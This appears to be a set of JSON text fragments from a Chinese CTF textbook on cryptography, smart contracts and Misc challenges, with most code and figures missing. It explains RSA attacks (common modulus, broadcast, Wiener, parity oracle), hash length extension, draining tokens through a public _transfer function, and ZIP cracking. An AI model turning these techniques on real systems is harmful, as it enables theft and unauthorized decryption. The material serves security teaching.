    {"text": "以下为一个一边预测一边修正随机数的简单Demo： 7.4.3 RC4 RC4 是一种特殊的流加密算法，1987年由Ronald Rivest提出。 RC4是有线等效加密（WEP）中采用的加密算法，曾经是TLS可采用的算法之一。 RC4使用0～255位的密钥来生成流密钥，然后将流密钥与明文异或来产生密文。"},
    {"text": "然后每输入1字节，就做一次S盒替换操作，并输出1字节流密钥与明文异或： 显然，RC4算法作为一种流密码算法，也易受到已知明文攻击的影响。"},
    {"text": "如果使用某一密钥加密了 n 字节的数据，并知道明文，即可恢复 n 字节的流密钥； 如果同一密钥被重复使用，那么截获密文即可解得相应的明文。"},
    {"text": "特别地，当输入的key为 [0，0，255，254，253，.…，2] 时，由模的运算性质可以发现S盒替换过程相当于没有替换，那么输出的流密钥即确定的 S[（2*i）%256] ，重复周期非常短。"},
    {"text": "成熟的分组密码、流密码的加密强度和加密效率都非常优秀，然而对称密码体系存在着一个不可忽略的问题——密钥的传输需要一个安全的信道，否则一旦密钥被截获，对称加密就毫无安全性可言。"},
    {"text": "基于以上事实，1976年，Whitfield Diffie和Martin Hellman发表了 New directions in cryptography 这篇划时代的文章，奠定了公钥密码系统的基础，而在1977年，Ron Rivest、Adi Shamir和Leonard Adleman发明了一种直到今天还被广泛运用的公钥密码算法 ——RSA 。"},
    {"text": "使用者会将一个密钥公开，而将另一个密钥私人持有，这时这两个密钥被称为公钥和私钥。 一般来说，公钥和私钥是难以互相计算的，但它们可以互相分别作为加密密钥和解密密钥。 当信息发送者选择采用接收者的公钥加密时，接收者收到信息后使用自己的私钥解密，这样便可保持信息的机密性； 若信息发送者使用自己的私钥对信息摘要进行加密，接收者使用发送者的公钥对摘要进行验证，即可起到签名的作用，可以保证信息的认证性和不可否认性。"},
    {"text": "在CTF中常见的公钥密码算法为RSA算法，这是CTF参赛者必须掌握的基础知识，还会涉及一些关于离散对数和椭圆曲线的算法。 7.5.2 RSA 7.5.2.1 RSA简介 RSA算法是目前工程中使用最广泛的公钥密码算法，算法的安全性基于一个简单的数学事实：对于大素数 p 和 q ，计算 n = p × q 非常简单，但是在已知 n 的情况下分解因子得到 p 和 q 则相当困难。 RSA的基本算法如下：选取较大的素数 p 和 q （一般大于512bit，且 p 不等于 q ），计算 n = p × q 求 n 的欧拉函数 φ ( n )= φ ( p )× φ ( q )=( p -1)×( q -1) 选取一个与 φ （ n ）互质的整数 e ，求得 e 模 φ （ n ）的逆元 d ，即 e × d ≡1mod φ ( n ) 则< n ， e >为公钥，< n ， d >为私钥。"},
    {"text": "当 m 与 n 不互质时，由于0≤ m < n ，则 m = hp 或 m = hq 。 设 m = hp ，由于 p 与 q 为两个不同的素数且 k ＜ q ，故 kp 与 q 互质，由欧拉定理，得 ( hp ) q -1 ≡1mod q 两边同时乘以 hp ，并整理得到 [( hp ) q -1 ] k ( p -1) × hp ≡ hp mod q 即 ( hp ) k φ( n )+1 ≡ hp mod q 从而 ( hp ) ed ≡ hp mod q 改写形式，得 ( hp ) ed -hp = tq 由于左式可以提取因子 p 且 q 为素数，故 t 一定可以被 p 整除，从而 ( hp ) ed = lpq + hp 因为 m = hp ， n = pq ，所以 m ed = nl + m ，从而 m ed ≡ m mod n 当 m 与 n 互质时，由欧拉定理，可得 m φ( n ) ≡1mod n 所以 综上，得证。"},
    {"text": "7.5.2.2 RSA的常见攻击 1．因式分解 由于RSA的私钥生成过程中只用到了 p 、 q 与 e ，如果 p 、 q 被成功求出，那么可使用正常的计算方法将私钥模数 d 算出。"},
    {"text": "2．低加密指数小明文攻击 如果被加密的 m 非常小，而且 e 较小，导致加密后的 c 仍然小于 n ，那么便可对密文直接开 e 次方，即可获得明文 m 。"},
    {"text": "如果加密后的 c 虽然大于 n 但是并不太大，由于pow（ m ， e ）= kn + c ，可以暴力枚举 k ，然后开 e 次方，直到 e 次方可以开尽，解出了正确的 c 为止。"},
    {"text": "3．共模攻击 如果使用了相同的 n ，不同的模数 e 1 、 e 2 ，且 e 1 、 e 2 互素，对同一组明文进行加密，得到密文 c 1 、 c 2 ，那么可以在不计算私钥的情况下计算出明文 m 。"},
    {"text": "例如，考虑以下情况： n=21247716666082165009723327736827271181397595459782678430106761351699 e1=65537 e2=100003 m=23333333333333333333333333 c1=18887564582487144429813257569011655623836310193226497811174858766355 c2=20606080979023683286301324839323159515999485609783974066646158762676 显然，对相同的 m 使用同一个 n 和不同的 e 加密得到了不同的 c ，且两个 e 互素，可以尝试用共模攻击的方法解出 m 。"},
    {"text": "4．广播攻击 对于相同的明文 m ，使用相同的指数 e 和不同的模数 n 1 ， n 2 ，···， n i ，加密得到 i 组密文时（ i ≥ e ），可以使用中国剩余定理解出明文。"},
    {"text": "设 联立方程组，使用中国剩余定理，可以求得一个 c x 满足 当 i ≥ e 时， m 小于所有的 n ，那么所有 n 的乘积一定大于 m e ，所以求出的 c x 一定是没有经过模操作的。 对 c x 开 e 次方，可以解出明文 m 。"},
    {"text": "考虑以下情况： n1=15531155256715702473857617704486808708718149144340218293989572553 n2=4665876664449238167503227140673941051177208287344383452644505383 n3=21183715744016961916768204882841616031088804561756503460509763179 e=3 m=23333333333333333333333333333333333333333333 c1=3545246357420027751080801513596354805792507454079198980994208613 c2=2707010410568402623621857261477803260225040847370109587024036966 c3=9988366267699268191504634643058847989157961583452909799090445547 下面尝试使用广播攻击来解出 n 。"},
    {"text": "5．低解密指数攻击（Wiener's Attack） 1989年，Michael J.Wiener发表了 Cryptanalysis of Short RSA Secret Exponents 文章，提出了一种针对解密指数 d 较低时对于RSA的攻击方法，该方法基于 连分数（Continued Fraction） 。"},
    {"text": "Wiener提出，设 ed =1+ kφ （ n ），当 q ＜ p ＜2 q 时，若满足 则通过搜索连分数 e / N 的收敛，可以有效率地找到 k / d ，从而恢复正确的 d 。"},
    {"text": "例如，考虑以下RSA公钥： n=154669541286774112800350345370909838892196173691617426023040329852908193564023067943 e=2702993571650777060698579724900044231559809907862476240831366414804737810584549617 使用以上攻击代码，修改RSAwienerHacker.py中的公钥为上述公钥： 运行后，可以成功解出 d ： d=246752465 在CTF中，若提供的公钥的 e 非常大，那么由于 ed 在乘积时地位对等， d 的值很可能较小，应该尝试本方法。"},
    {"text": "6．Coppersmith's High Bits Attack 本方法由Don Coppersmith提出，如果已知明文的很大部分，即 m = m 0 + x ，已知 m 0 或组成 n 中一个大素数的高位，就可以对私钥进行攻击。"},
    {"text": "如果可以控制解密机，可以使用同一个未知的私钥对任意密文进行解密，那么只要知道明文的最后一位，就可以使用这种攻击方法在 O （log n ）的时间内解出任意密文对应的明文。"},
    {"text": "已知 c = m e mod n ，那么将 c 乘上2 e mod n ，发送给服务器，服务器对它进行解密，即可得到 ( m e 2 e ) d mod n =(2 m ) ed mod n =2 m mod n 显然，2 m 是一个偶数，即末尾位为0。 由于0< m < n ，则可以得到0<2 m <2 n ，因此2 m mod n 只存在两种情况： 2 m ,0＜2 m ＜ n 2 m-n , n ≤2 m ＜2 n 其中，2 m 的情况和2 m-n =0的情况时，结果是一个偶数，其他情况下是个奇数。 这样，便可以根据奇偶性即获得的结果的最后1位求得 m 和 n /2之间的大小关系：当获得的结果是偶数时，0＜ m ≤ n /2，否则 n /2< m < n 。 确定了 m 与 n /2的大小后，便可以求得 m 的最高位是0还是1。 将乘上2 e mod n 后的 c 当作新的 c ，继续进行上述操作，相当于使用二分搜索的思想不断缩小搜索的范围，即可一位一位地将 m 的值恢复出来。"},
    {"text": "使用伪代码描述算法如下： 7.5.3 离散对数相关密码学 7.5.3.1 ElGamal和ECC ElGamal算法 于1984年提出，是一种基于离散对数的公钥密码体制。"},
    {"text": "它在密码学上的安全性基于以下事实：若 p 为一个大素数，设 g 为乘法群Zp * 的生成元，选择一个随机数 x ，计算 g x mod p ≡ y 是比较简单的，然而在已知 g 、 p 、 y 的情况下，反过来求 x （即求Zp * 上的离散对数 x =log y ）则很困难。"},
    {"text": "ElGamal的 密钥生成规则 如下：选择一个大素数 p 和Zp * ，且 p -1（ord（ p ））存在很大的素因子，选取Zp * 的生成元 g ，选择一个随机整数 k （0< k < p -1），计算 y = g k mod p ，即得到公钥为（ p ， g ， y ），私钥为 k 。"},
    {"text": "加密时，选择一个随机整数 r （0< r < p -1），得到密文（ y 1 ， y 2 ）为（ g r mod p ， my r mod p ），其中 m 为明文。 解密时，通过私钥 k 计算 即解得明文。"},
    {"text": "对于椭圆曲线上的一个整点 P =（ x ， y ），规定整点的加法为：作 P 的切线交于椭圆曲线于另一点 R ，过 R 作 Y 轴的平行线交曲线于 Q ，则 P + R = Q ； 规定整点的乘法为：nP等于 n 个 P 相加，则 n =log P nP。"},
    {"text": "ECC的密钥生成过程如下：选择一条满足性质的公开的椭圆曲线 E 和它的生成元 G ，再选择一个正整数 n ，计算 P = nG ，则公钥为 P ，私钥为 n 。"},
    {"text": "加密时，选择一个小于曲线 E 的阶的随机正整数 k ，计算 kG =（ x 1 ， y 1 ），将待加密的消息编码为 E 上的一个点 M ，计算 M + kP =（ x 2 ， y 2 ），其中 P 为公钥。 加密得到的结果为 (( x 1 , y 1 ),( x 2 , y 2 )) 解密时，利用私钥 n 计算 n （ x 1 ， y 1 ）= nkG = kP ，用（ x 2 ， y 2 ）减去 kP 即可得到明文消息 M 。"},
    {"text": "考虑如下曲线和点，求log P Q ： 在Sagemath中定义该椭圆曲线和 P 、 Q 两个点，写出循环，即可进行暴力破解： 该方法的时间复杂度为 O （ n ）。"},
    {"text": "7.6 其他常见密码学应用 7.6.1 Diffie-Hellman密钥交换 Diffie-Hellman（DH）密钥交换 是一种安全协议，可以在双方先前没有任何共同知识的情况下通过不安全信道协商出一个对称密钥。"},
    {"text": "若有一个中间人可以截获所有的信息，但不能进行修改，那么由于中间人只知道 A 、 B 、 g 、 p ，而不能知道 a 和 b ，故不能获取双方协商出的密钥，除非计算出log g A 或log g B ，计算离散对数的方法和困难性已经讲过，此处不再赘述。"},
    {"text": "此时，Alice计算出的密钥 而Bob计算出的密钥为 此时Eve可以知道 A 、 B 、 e 1 、 e 2 ，自然可以计算出 k 1 和 k 2 。 在Alice向Bob发送加密消息时，Eve截获消息，使用 k 1 解密即可获取明文，再使用 k 2 对明文进行加密，转发给Bob。"},
    {"text": "由于Hash函数的算法是公开的，故单独使用Hash函数很不安全，攻击者可以建立大量的数据-散列值数据库来进行字典攻击。 为了避免这种情况，一般选择形如 H （key|message） 形式的Hash函数，即在消息前附上一个固定的key再进行散列运算。 然而，如果使用的是 MD（Merkle-Damgård） 型的Hash算法（如MD5、SHA1等），且Key的长度是已知的、消息可控的情况下，则容易受到Hash长度扩展攻击。 MD型Hash算法的特点在于，所有消息在进行计算时会在后面填充上1个01和若干00字节，直到其二进制位数等于512 x +448，再加上64bit的消息长度。"},
    {"text": "不难看出，如果我们知道某一中间值和当前的长度，便可以在后面附上其他消息和填充字节，然后利用中间值“继续算下去”，获得最终的Hash值。"},
    {"text": "例如，考虑以下散列值，假设hello是未知的key，world是可控的数据： 由此散列值，根据小端序，可以得到MD5的4个寄存器值为： AA=0x8d035efc BB=0x3270a538 CC=0xe7415408 DD=0xb01070fe 由于MD5算法的Padding方案是已知的，我们可以计算出经过填充后的消息的值。"},
    {"text": "假设附上一段新的消息GG，可以计算附加新的消息后的消息，再计算新消息的散列值： 现在使用Hash长度扩展的方式来通过之前的散列值计算新消息的散列值。"},
    {"text": "使用此种攻击方法时，我们不关心原来被Hash的消息具体内容，而只关心原来消息的长度，即实际应用中key|message的长度。 由于message往往是用户可控的值，只要知道服务端key的长度，即可成功实施攻击。"},
    {"text": "该方案基于拉格朗日插值法，利用 k 次多项式只需要有 k 个方程就可以将系数全部解出的特性，开发了将秘密分成 n 份，只要有其中的 k 份（ k ≤ n ）即可将秘密解出的算法。"},
    {"text": "设需要 k 份才能解出秘密消息 m ，选择 k -1个随机数 a 1 ，···， a k 和大素数 p （ p > m ），列出如下模 p 多项式： f ( x )= m + a 1 x + a 2 x 2 +···+ a k -1 x k -1 mod p 随机选择 n 个整数 x ，代入上式后得到 n 个数（ x 1 ， f （ x 1 ）），（ x 2 ， f （ x 2 ）），···，（ x n ， f （ x n ）），这就是共享的 n 份秘密信息。 在恢复秘密消息时只需要 k 个（ x i ， f （ x i ））对，联立上述方程组，利用拉格朗日插值法或矩阵乘法，即可求得秘密消息 m 。"},
    {"text": "将明文秘密分成5份，持有3份即可求出，分割操作如下： 恢复操作如下，使用前3份来恢复： 小结 在现在的CTF中，大多数密码学都是直接提供Python或是其他语言的源码及一些相关信息供参赛者进行分析；"},
    {"text": "也有些题目将密码学与Web、逆向工程甚至PWN结合考察，因此往往要求选手对Web、逆向工程和PWN有一定的了解。 因为密码学主要是考察的是数学知识，所以需要参赛者学好数学，如高等数学、线性代数、概率论、离散数学等课程。 当具有一定的数学基础后，参赛者可以进一步阅读密码学相关书籍和论文，进一步提高自己的能力。"},
    {"text": "在CTF中，大部分能够叫得出攻击方式名字的题目其实属于密码学中难度较低的题，所以希望读者在学习如LLL attack等各种攻击方法的时候能够深入探究攻击的原理，而不只是简单地使用现成的工具。"},
    {"text": "第8章 智能合约 在CTF比赛中，区块链是近年才出现的新题型，很多CTF比赛中出现了区块链题目的身影，区块链厂商也会举办专门的区块链比赛。 不过在CTF中出现的区块链题目主要以智能合约的题目为主，本章介绍一些以往出现过的以太坊区块链题目，分享一些笔者的经验，带领读者进入区块链智能合约的世界。"},
    {"text": "8.1 智能合约概述 8.1.1 智能合约介绍 2008年，中本聪发表了《比特币：一种点对点的电子现金系统》论文，标志了比特币的诞生，而比特币的底层架构理念被称为区块链。"},
    {"text": "以太坊在比特币的基础上增加了智能合约的功能，智能合约可以看成运行在区块链上的程序，只要掌握了Solidity语言，并且有足够的以太币支付矿工费，那么任何人都能编写智能合约，放到以太坊区块链上运行。 在公网上能公开访问的以太坊分为多个网络，在金融市场上进行交易的是 主网络 （主链），还有多个测试网络，比较常用的 测试网络 （测试链）叫做Ropsten，测试网络存在的目的主要是让用户测试自己编写的智能合约，并且在测试网络上让用户免费获取以太币，方便对智能合约进行测试。"},
    {"text": "CTF中出现的题目往往部署在测试链上，参赛者不需花费任何代价就能学习以太坊区块链，这正是智能合约的题目能在CTF中流行起来的重要原因之一。"},
    {"text": "8.1.2 环境和工具 古人云“工欲善其事必先利其器”，在研究以太坊智能合约前，下面先介绍做以太坊区块链的题目时需要搭建的环境和将使用的工具。 1．开发环境：Chrome、Remix、MetaMask 在Chrome浏览器中就能进行以太坊智能合约的开发工作，因为Solidity语言有一个在线IDE ——Remix（https://remix.ethereum.org ）。"},
    {"text": "Remix是一个使用JavaScript编写的IDE，能把用户编写的Solidity语言编译成字节码（Opcode），然后通过Chrome的MetaMask插件，使用插件中存储的以太坊账号向公网的以太坊区块链网络发送交易，达到部署智能合约、调用智能合约的效果。"},
    {"text": "2．以太坊区块链信息查看：Etherscan 在 Etherscan（https://ropsten.etherscan.io ）上可以查看以太坊区块链上的所有信息，还能存放智能合约的源码。"},
    {"text": "3．本地以太坊环境（非必要）：geth 喜欢使用命令行的人可以在本地终端中使用geth程序。 geth 是官方提供的以太坊程序，使用Golang语言开发，能跨平台运行，并且在Gihtub（ https://github.com/ethereum/go-ethereum ）上开源。"},
    {"text": "题目只给了一个Etherscan链接： https://ropsten.etherscan.io/address/0x7caa18d765e5b4c3bf0831137923841fe3e7258a 并且在Etherscan上公开了智能合约的源码，我们可以到Etherscan上进行源码审计。"},
    {"text": "我们先来看checkfriend函数中的判断逻辑，需要发起交易的用户的以太坊账号在特定位置存在特定值 0x7d7ec ，只要有以下前置知识点，那么想满足该判断逻辑其实很简单： ① 在区块链上，只需拥有私钥并且账号的余额够手续费，就能发起交易；"},
    {"text": "审计合约的代码后发现，该合约有一个“空投”机制，任何账号都有一次免费领取1000余额的机会： 这1000余额一个账号只能领一次，并不够获取flag，继续审计剩下的函数： 该合约提供了给别人转账的功能，这就产生了一个做题思路：一个账号可以免费获取1000，获取flag需要200000，如果200个账号把余额都转到一个账号上，那么该账户的余额足够获取flag了。"},
    {"text": "在上面生成账号的函数中，函数开始随机生成salt变量，然后该变量加上循环的序列号作为生成私钥的种子，这么做的目的是降低与其他选手爆破到同一个账号的概率。"},
    {"text": "需要注意如下函数： runweb3.eth.getStorageAt(constract,addr) 该函数的作用是获取到合约的存储中指定地址的值，constract表示合约的地址，addr为该合约的“mapping（address=>bool）initialized”变量在区块链存储中的位置。"},
    {"text": "上面代码的作用是向当前循环的账号转一定的以太币，因为发起交易是需要支付矿工费（手续费），我们爆破的账号默认情况下是没有以太币的。"},
    {"text": "我们需要用main_account账号获取一定的以太币，因为是在测试网络上，Chrome的MetaMask插件上有免费获取以太币的链接。 再用main_account上的以太币给每个子账号分配足够的以太币进行后续交易。"},
    {"text": "data的前4字节表示调用的函数，取函数名的sha3前4字节： 获取免费的1000额度后，调用transfer函数，转账给主账号，data的内容为 4字节的调用函数+32字节的主账号地址+32字节的转账余额 。"},
    {"text": "本题目给了合约地址： 0x71feca5f0ff0123a60ef2871ba6a6e5d289942ef ，我们去Etherscan上获取到智能合约的源码，然后按照以下步骤操作。"},
    {"text": "（3）获取发起交易需要的以太币，单击“ Deposit ”，在Test Faucet下单击“ get ether ”，随后会跳转到一个网站，获取一个以太币，见图8-2-3。"},
    {"text": "然后在下面的方框中选择题目的主合约“ D2GBToken ”，在“ At Address ”处填入题目提供的合约地址，然后单击“At Address”，见图8-2-4，在Deployed Contracts下就能调用该合约的函数。"},
    {"text": "本题仍然可以按照前面“薅羊毛”的思路，不过空投的数值与获取flag要求的数值相差太大，“薅羊毛”代价过大，需要用脚本跑很久，所以该题目可以换一个思路。"},
    {"text": "所以，我们在公有函数中发现了_transfer函数： 图8-2-4 图8-2-5 该函数可以让任意账号向任意账户转账，每次转账额度不能超过10000000。"},
    {"text": "有了这个函数，该题目的思路就简单了，因为该合约在初始化的时分配给创建该合约的账号大量余额，所以可以通过该函数把建立合约账号的余额转到自己账号。 如果之前已经有人做出该题目了，并且建立合约账号的余额不足，我们可以通过 查看交易 ，把余额充足的账号转账到自己账号。"},
    {"text": "交易成功发起后，会在在控制窗口中返回一个Etherscan的链接，通过该链接可以监控到该交易的状态，当该交易成功后，表示我们已经从其他账号向我们自己的账号转账了足够的余额，接下来就能通过调用PayForFlag函数获得flag。"},
    {"text": "私链与公链本质上其实是一样的，区别在于私链的同步需要有相同的创世区块和网络ID信息，私链的配置是非公开的，而公链的这些信息都是以太坊程序（如geth）中默认的配置。"},
    {"text": "首先，初始化创世区块： 然后启动本地的以太坊区块链程序，通过attach获取CLI界面，并且添加服务器节点： 这时可以等待本地的区块链连接到远程，期间可以生成一个新账号或者导入一个存在的账号。"},
    {"text": "因为本题目采用多flag机制，所以要求参赛者用token作为以太坊账号的私钥： 本题目的flag由两部分拼接而成， 第一部分flag 要求选手的账号余额大于0。"},
    {"text": "转账操作 包括8种：个人账号→个人账号，个人账号→智能合约转账，个人账号→智能合约转账并调用智能合约，个人账号→创建智能合约并向智能合约转账，智能合约→个人账号，智能合约→智能合约，智能合约→智能合约转账并调用智能合约，智能合约→创建智能合约并向智能合约转账。 其中，个人→个人、个人→智能合约、智能合约→个人、智能合约→智能合约被视为纯转账操作。"},
    {"text": "怎样判断账户是智能合约账号还是个人账号呢？ 个人账号与智能合约账号的区别如下：第一，个人账号拥有私钥，可以发起交易，智能合约无法计算私钥，无法发起交易；"},
    {"text": "第二，个人账号的code段为空，几乎不可能存在数据（除非爆破出“ 个人账号地址==addressFrom（账号，Nonce） ”），而智能合约的code段可以存在数据，也可以不存在数据（只要创建智能合约代码返回空）。 我们无法判断账号是否存在私钥，所以只能通过账号的code段来判断，通过eth.getCode函数是否有返回数据来判断账号地址是否为智能合约地址。 虽然智能合约的code段可以为空，但当其值为空时，除了不能发起交易，与个人账号无异，这种毫无意义的账号可以忽略。"},
    {"text": "所以，我们可以通过审计所有交易的 to字段 （当to字段为空时，表示创建合约），来找到私链上的所有合约，再通过from字段过滤所有出题者创建的合约。"},
    {"text": "关于Opcode指令的问题可以参考官方黄皮书： https://github.com/yuange1024/ethereum_yellowpaper 为了更好地讲解题目涉及的知识点，这里通过参考源码来讲解该题： https://github.com/Hcamael/ethre_source/blob/master/hctf2018.sol 在Solidity层面可以通过“ new HCTF2018User() ”在合约中创建合约，Opcode使用CREATE指令创建合约。"},
    {"text": "启动geth加上以下参数，可以开启RPC： 在Remix的“Run”标签的“ Environment ”中选择“Web3 Provider”，然后填写RPC的地址，这样Remix就连上了题目的私链；"},
    {"text": "我们通过函数eth.getCode获取的值是怎么来的呢？ 首先寻找指定合约的创建合约交易，然后执行交易中data字段中的CREATE Opcode，得到的返回值便是eth.getCode获取的内容。"},
    {"text": "首先，编译器会对每个公有函数进行SHA3计算，取前4字节的hash值，如： 因为uint/int是uint256/int256的别名，所以uint/int会转换成uint256/int256进行 Hash计算 。 计算出的每个函数的hash值与传入的参数前4字节进行对比，从而判断调用的是哪个函数。"},
    {"text": "因此，正常情况下的RUNTIME Opcode开头都有一个固定结构，伪代码如下： 智能合约中能看到“ function(){} ”这样没函数名的函数被称为回退函数，当调用智能合约的交易中的data字段为空或者前4字节没匹配到任何函数的hash值时，则调用该函数。 在判断完调用哪个函数后，还有两个固定结构：当函数的声明中不存在payable关键字时，表示该合约不接受转账，所以在Opcode中需要判断本次交易的 value字段 是否为0，如果不为0，则抛出异常，回滚交易（交易发起者发起本次交易花费的资金全额退还）；"},
    {"text": "不过在新版本的编译器中，数组slot偏移存储（ Storage[slot] ）的数据表示数组的长度，在对数组进行存取值操作时，都会把index与长度进行判断，这样就避免变量覆盖的问题。"},
    {"text": "智能合约中可以调用其他智能合约，但是当智能合约地址为 1～8 时却有特殊的含义，在官方文档中被称为 Precompile（预编译） ，本题目通过call（4）和call（5）来进行RSA加密运算： m e (mod n ) 本题目最后的正解是要求不同的参赛者在不同的位置存储指定的值，让主控端获取指定位置的值，与预期结果进行对比，成功则返回flag。"},
    {"text": "小结 在当前CTF比赛中，智能合约题目的难度无法出得很难，大致题型如下： 第一种题型是 有Solidity源码的题目 ，难度有限，复杂度随代码量增加，最多是增加做题时间，很难做到增加解题难度。"},
    {"text": "因为区块链的P2P架构，任何人在区块链上都是客户端，除了个人账号的私钥是秘密，其他任何信息都是公开透明的，这导致当一个参赛者做出题目后，其他选手可以观察到解题的交易记录，这种情况大大增加了出题难度。"},
    {"text": "当然，少数CTF比赛也存在额外分类，但Misc是一个各种各样的形式题目的大杂烩。 虽然Misc题目的类型繁多，考察范围极其广泛，但我们可以对其进行大致划分。 根据出题人意图的不同，Misc题目可以分为以下几种。"},
    {"text": "1．为了让参赛者参与其中 各CTF中基本都有的签到题就属于此类型。 这类题目一般不会考察参赛者很多的知识，而是偏重娱乐性，为了让参赛者参与，感受到CTF的乐趣。 典型代表是签到题（如微信公众号回复关键词）或者只要玩通关就可以获得flag的游戏题。"},
    {"text": "2．考察在安全领域中经常会用到但不属于传统分类的知识 虽然Web、PWN等类型的题目在CTF中通常占了较大比例，但网络空间安全领域的学习者还有许多知识需要掌握，如内容安全、安全运维、网络编程等，而这些方向的题目常常出现在Misc中。 这类题目是Misc中出现频率最高的，代表类型是流量包分析、压缩包分析、图片/音频/视频隐写、内存硬盘取证、算法交互题等。"},
    {"text": "3．考察思维发散能力 这类题目就是所谓的“脑洞题”，一般以编码、解码为主，会给参赛者提供一个经过多次编码、变换的文本，然后让参赛者猜测使用的算法和变换的顺序，最终解出明文的flag。 有的出题人提供一个文件，将常见或不常见的隐写、取证技术以各种形式和顺序进行复合，需要参赛者在没有额外信息提示的情况下解出flag。 这类题目解题时只能依靠自己的经验和猜想，不仅对参赛者是考验，也对出题人是考验，如果“脑洞”太大、方法太偏，那么题目会遭到诟病。 4．考察参赛者知识的广度和深度 这类题目接近于传统的Hacker精神，从常见的事物中发现不一样的东西。 出题人往往从日常使用中常见的一些文件、程序或设备出发，如Word文档、Shell脚本、智能IC卡，考察对这些常见事物的深度理解，如根据不完整的MYD文件尽可能还原MySQL数据库、绕过限制越来越大的Python、Bash沙盒或分析智能卡中的数据等。"},
    {"text": "虽然Misc类型的题目千奇百怪，但它是初学者最容易上手的CTF题目类型之一，考察了各领域的基本知识，也是培养信息安全技术兴趣的极好材料。"},
    {"text": "例如，PNG文件由 IHDR （文件头数据块）、 PLTE （调色板数据块）、 IDAT （图像数据块）、 IEND （图像结束数据）四个标准数据块和一些辅助数据块组成。"},
    {"text": "所以，一般PNG文件以固定字节 00 00 00 00 49 45 4E 44 AE 42 60 82 作为结束，其后的内容会被大部分图片查看软件忽略，所以可以在IEND数据块后增加其他内容，这样并不会影响图片的查看，增加的内容普通情况下不会被发现。"},
    {"text": "选取一张PNG图片，使用Windows自带的图片查看器“Photos”打开，如图9-1-1所示。 使用二进制编辑器打开该PNG图片，观察其文件头和文件尾，见图9-1-2和图9-1-3。"},
    {"text": "仍用“Photos”打开这个文件（见图9-1-5），发现其与修改前（见图9-1-1）并没有任何变化，刚刚添加的\"HELLO WORLD\"并不会显示在图片上。"},
    {"text": "❖ ZIP Archive（zip）：文件头，50 4B 03 04； 文件尾，50 4B。 ❖ RAR Archive（rar），文件头：52 61 72 21。 ❖ Wave（wav）：文件头，57 41 56 45。 ❖ AVI（avi）：文件头，41 56 49 20。 ❖ MPEG（mpg）：文件头，00 00 01 BA。 ❖ MPEG（mpg）：文件头，00 00 01 B3。 ❖ Quicktime（mov）：文件头，6D 6F 6F 76。"},
    {"text": "Binwalk 其实是一款开源的固件分析工具，可以根据固件中出现的各类文件的一些特征，识别或提取这些文件，因此在CTF中Binwalk常常用于从一个文件中提取出它包含的其他文件。"},
    {"text": "图9-1-7 9.1.2 EXlF EXIF（Exchangeable Image File Format，可交换图像文件格式） 可以用来记录数码照片的属性信息和拍摄数据。 EXIF可以被附加在JPEG、TIFF、RIFF等文件中，为其增加有关数码相机拍摄信息的内容、缩略图或图像处理软件的一些版本信息。"},
    {"text": "图9-1-8 EXIF数据结构大致见图9-1-9（参考自 http://www.fifi.org/doc/jhead/exif-e.html ）。 用二进制打开这个图片，对比EXIF结构，可以看到其中的一些EXIF信息（见图9-1-10）。"},
    {"text": "用命令“ exiftool-comment=ExifModifyTesting./Lighthouse.jpg ”为这张图片添加标签，用命令“ exiftool./Lighthouse.jpg ”可以查看EXIF信息（见图9-1-11），发现增加了一个comment标签，内容为ExifModifyTesting。"},
    {"text": "在大多数PNG图像中，每个像素都由R、G、B三原色组成（有的图片还包含A通道表示透明度），每种颜色一般用8位数据表示（ 0x00～0xFF ），如果修改其最低位，人眼是不能区分出这种微小的变化的。"},
    {"text": "图9-1-12 例如： 调用lsb_encode()方法，生成隐写后的图片见图9-1-13，肉眼并不能看出明显变化，调用lsb_decode()方法会提取出隐写的内容，见图9-1-14。"},
    {"text": "用Stegsolve打开生成的隐写图片out.png，提取R、G、B三个通道的最低有效位，见图9-1-15，同样可以提取刚刚隐藏在图片中的字符串。 图9-1-15 对于PNG和BMP图片中的LSB等常见的隐写方式，我们也可使用 zsteg 工具（ https://github.com/zed-0xff/zsteg ）直接进行自动化的识别和提取。"},
    {"text": "如图9-1-16是一段音乐的时域，我们平常听到的音乐就是一段在时域上不断振动的波。 图9-1-16 但是这段音乐同样可以表示成图9-1-17所示的乐谱，每个音符在不同的线间可以表示不同的音高，即频率。 一段乐谱就可以看作一段音乐在频域中的表示，可以反映音乐频率的变化。 如果时域中的波形简化成一段正弦波，那么在频域中用一个音符即可表示。"},
    {"text": "得到图片的频域图像后，将水印编码后随即分布到各频率，然后与原图的频域进行叠加，将叠加水印的频谱进行傅里叶逆变换，即可得到添加了 盲水印 的图片。"},
    {"text": "要提取出图片中的盲水印，只需把原图和带水印的图在频域中相减，然后根据原来的水印编码方式进行解码，即可提取出水印。 CTF中一般可以使用 BlindWaterMark（https://github.com/chishaxie/BlindWaterMark ）工具对图片进行盲水印的添加和提取。"},
    {"text": "广义上，只要通过某种方式将信息隐藏到图片中而难以通过普通方式发现，就可以称为图片隐写。 本节只对一些常见的图片隐写方式进行了简单介绍，读者可以在理解图片隐写常见的基本原理后，自行尝试通过不同方式对图片进行隐写。"},
    {"text": "9.2 压缩包加密 1．暴力破解 暴力破解 是最直接、简单的攻击方式，适合密码较为简单或是已知密码的格式或范围时使用，相关工具有Windows的ARCHPR或者Linux的命令行工具fcrackzip。"},
    {"text": "核心目录区的通用标记位距离核心目录区头504B0102的偏移为8字节，其本身占2字节，最低位表示这个文件是否被加密（见图9-2-1），将其改为0x01后，再次打开会提示输入密码（见图9-2-2）。"},
    {"text": "如果我们能通过某种方式拿到压缩包中的一个文件，然后以同样的方式压缩，此时两个压缩包中相同的那个文件的压缩后大小会相差12字节，用ARCHPR进行对比筛选后，就可以获得key（见图9-2-3），继而根据这个key恢复出未加密的压缩包（见图9-2-4）。"},
    {"text": "图9-2-3 图9-2-4 4．小结 压缩包攻击的方式不多，如果使用较强的密码且压缩包内的文件没有泄露，或使用不同的密码或加密方式对同一个压缩包中不同的文件进行加密，一般很难破解加密压缩包的文件。"},
    {"text": "9.3 取证技术 现实中的电子取证是指利用计算机软件、硬件技术，以符合法律规范的方式对计算机入侵、破坏、欺诈、攻击等犯罪行为进行证据获取、保存、分析和出示的过程。"},
    {"text": "而CTF中的取证相关题目是通过对包含相关记录和痕迹的文件进行分析，如流量包、日志文件、磁盘内存镜像等，从中获取出题人放置的flag的过程。 取证相关题目的特点是信息量较大，逐个分析可能需要非常长的时间，因此掌握高效的分析方法是非常必要的。 本节将介绍CTF中三种常见的取证场景，即流量分析、内存镜像取证和磁盘镜像取证，读者需要掌握的前置知识包括计算机网络基础、文件系统基础和操作系统基础。"},
